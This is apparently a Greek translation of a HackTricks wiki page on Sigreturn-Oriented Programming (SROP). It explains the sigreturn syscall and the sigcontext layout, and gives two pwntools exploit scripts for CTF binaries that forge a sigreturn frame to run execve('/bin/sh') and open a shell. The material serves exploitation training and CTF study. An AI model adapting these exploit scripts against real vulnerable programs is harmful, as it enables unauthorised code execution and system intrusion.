SROP - Sigreturn-Oriented Programming

Reading time: 7 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Basic Information

Sigreturn είναι μια ειδική syscall που χρησιμοποιείται κυρίως για να καθαρίσει μετά την ολοκλήρωση της εκτέλεσης ενός χειριστή σήματος. Τα σήματα είναι διακοπές που αποστέλλονται σε ένα πρόγραμμα από το λειτουργικό σύστημα, συχνά για να υποδείξουν ότι έχει συμβεί κάποια εξαιρετική κατάσταση. Όταν ένα πρόγραμμα λαμβάνει ένα σήμα, σταματά προσωρινά την τρέχουσα εργασία του για να χειριστεί το σήμα με έναν χειριστή σήματος, μια ειδική συνάρτηση σχεδιασμένη να ασχολείται με τα σήματα.

Αφού ο χειριστής σήματος ολοκληρώσει, το πρόγραμμα πρέπει να επανέλθει στην προηγούμενη κατάσταση του σαν να μην είχε συμβεί τίποτα. Εδώ έρχεται στο παιχνίδι το sigreturn. Βοηθά το πρόγραμμα να επιστρέψει από τον χειριστή σήματος και αποκαθιστά την κατάσταση του προγράμματος καθαρίζοντας το stack frame (την ενότητα μνήμης που αποθηκεύει κλήσεις συναρτήσεων και τοπικές μεταβλητές) που χρησιμοποιήθηκε από τον χειριστή σήματος.

Το ενδιαφέρον μέρος είναι πώς το sigreturn αποκαθιστά την κατάσταση του προγράμματος: το κάνει αποθηκεύοντας όλες τις τιμές των καταχωρητών της CPU στο stack. Όταν το σήμα δεν είναι πλέον αποκλεισμένο, sigreturn αφαιρεί αυτές τις τιμές από το stack, επαναφέροντας αποτελεσματικά τους καταχωρητές της CPU στην κατάσταση πριν από την επεξεργασία του σήματος. Αυτό περιλαμβάνει τον καταχωρητή δείκτη stack (RSP), ο οποίος δείχνει στην τρέχουσα κορυφή του stack.

caution

Η κλήση της syscall sigreturn από μια αλυσίδα ROP και η προσθήκη των τιμών καταχωρητών που θα θέλαμε να φορτώσει στο stack είναι δυνατή για να ελέγξουμε όλες τις τιμές καταχωρητών και επομένως να καλέσουμε για παράδειγμα τη syscall execve με /bin/sh.

Σημειώστε πώς αυτό θα ήταν μια τύπου Ret2syscall που διευκολύνει πολύ τον έλεγχο των παραμέτρων για να καλέσουμε άλλες Ret2syscalls:

Ret2syscall

Αν είστε περίεργοι, αυτή είναι η δομή sigcontext που αποθηκεύεται στο stack για να ανακτηθούν αργότερα οι τιμές (διάγραμμα από εδώ):

+--------------------+--------------------+
| rt_sigeturn()      | uc_flags           |
+--------------------+--------------------+
| &uc                | uc_stack.ss_sp     |
+--------------------+--------------------+
| uc_stack.ss_flags  | uc.stack.ss_size   |
+--------------------+--------------------+
| r8                 | r9                 |
+--------------------+--------------------+
| r10                | r11                |
+--------------------+--------------------+
| r12                | r13                |
+--------------------+--------------------+
| r14                | r15                |
+--------------------+--------------------+
| rdi                | rsi                |
+--------------------+--------------------+
| rbp                | rbx                |
+--------------------+--------------------+
| rdx                | rax                |
+--------------------+--------------------+
| rcx                | rsp                |
+--------------------+--------------------+
| rip                | eflags             |
+--------------------+--------------------+
| cs / gs / fs       | err                |
+--------------------+--------------------+
| trapno             | oldmask (unused)   |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate           |
+--------------------+--------------------+
| __reserved         | sigmask            |
+--------------------+--------------------+

Για μια καλύτερη εξήγηση, ελέγξτε επίσης:

- YouTube

Παράδειγμα

Μπορείτε να βρείτε ένα παράδειγμα εδώ όπου η κλήση στο signeturn κατασκευάζεται μέσω ROP (βάζοντας στο rxa την τιμή 0xf), αν και αυτή είναι η τελική εκμετάλλευση από εκεί:

python
from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = process()

BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015

frame = SigreturnFrame()
frame.rax = 0x3b            # syscall number for execve
frame.rdi = BINSH           # pointer to /bin/sh
frame.rsi = 0x0             # NULL
frame.rdx = 0x0             # NULL
frame.rip = SYSCALL_RET

payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf)         # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

Ελέγξτε επίσης το exploit από εδώ όπου το δυαδικό αρχείο καλούσε ήδη το sigreturn και επομένως δεν είναι απαραίτητο να το κατασκευάσουμε με ένα ROP:

python
from pwn import *

# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)

# Establish the target architecture
context.arch = "amd64"

# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)

# Start making our sigreturn frame
frame = SigreturnFrame()

frame.rip = 0x400185 # Syscall instruction
frame.rax = 59       # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0      # NULL
frame.rdx = 0x0      # NULL

payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack

target.sendline(payload) # Send the target payload

# Drop to an interactive shell
target.interactive()

Άλλα Παραδείγματα & Αναφορές

  • https://youtu.be/ADULSwnQs-s?feature=shared
  • https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop
  • https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html
  • Assembly binary που επιτρέπει να γραφεί στη στοίβα και στη συνέχεια καλεί την sigreturn syscall. Είναι δυνατόν να γραφεί στη στοίβα ένα ret2syscall μέσω μιας δομής sigreturn και να διαβαστεί η σημαία που βρίσκεται στη μνήμη του binary.
  • https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html
  • Assembly binary που επιτρέπει να γραφεί στη στοίβα και στη συνέχεια καλεί την sigreturn syscall. Είναι δυνατόν να γραφεί στη στοίβα ένα ret2syscall μέσω μιας δομής sigreturn (το binary έχει τη συμβολοσειρά /bin/sh).
  • https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html
  • 64 bits, no relro, no canary, nx, no pie. Απλή υπερχείλιση buffer που εκμεταλλεύεται τη λειτουργία gets με έλλειψη gadgets που εκτελεί ένα ret2syscall. Η αλυσίδα ROP γράφει /bin/sh στο .bss καλώντας ξανά το gets, εκμεταλλεύεται τη λειτουργία alarm για να ορίσει το eax σε 0xf για να καλέσει ένα SROP και να εκτελέσει ένα shell.
  • https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html
  • 64 bits assembly πρόγραμμα, no relro, no canary, nx, no pie. Η ροή επιτρέπει να γραφεί στη στοίβα, να ελεγχθούν αρκετοί καταχωρητές και να κληθεί μια syscall και στη συνέχεια καλεί exit. Η επιλεγμένη syscall είναι μια sigreturn που θα ορίσει τους καταχωρητές και θα μετακινήσει το eip για να καλέσει μια προηγούμενη εντολή syscall και να εκτελέσει το memprotect για να ορίσει τον χώρο του binary σε rwx και να ορίσει το ESP στον χώρο του binary. Ακολουθώντας τη ροή, το πρόγραμμα θα καλέσει ξανά το read intro ESP, αλλά σε αυτή την περίπτωση το ESP θα δείχνει στην επόμενη εντολή, έτσι ώστε η μεταφορά ενός shellcode να το γράψει ως την επόμενη εντολή και να το εκτελέσει.
  • https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection
  • SROP χρησιμοποιείται για να δώσει δικαιώματα εκτέλεσης (memprotect) στο σημείο όπου το shellcode τοποθετήθηκε.

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks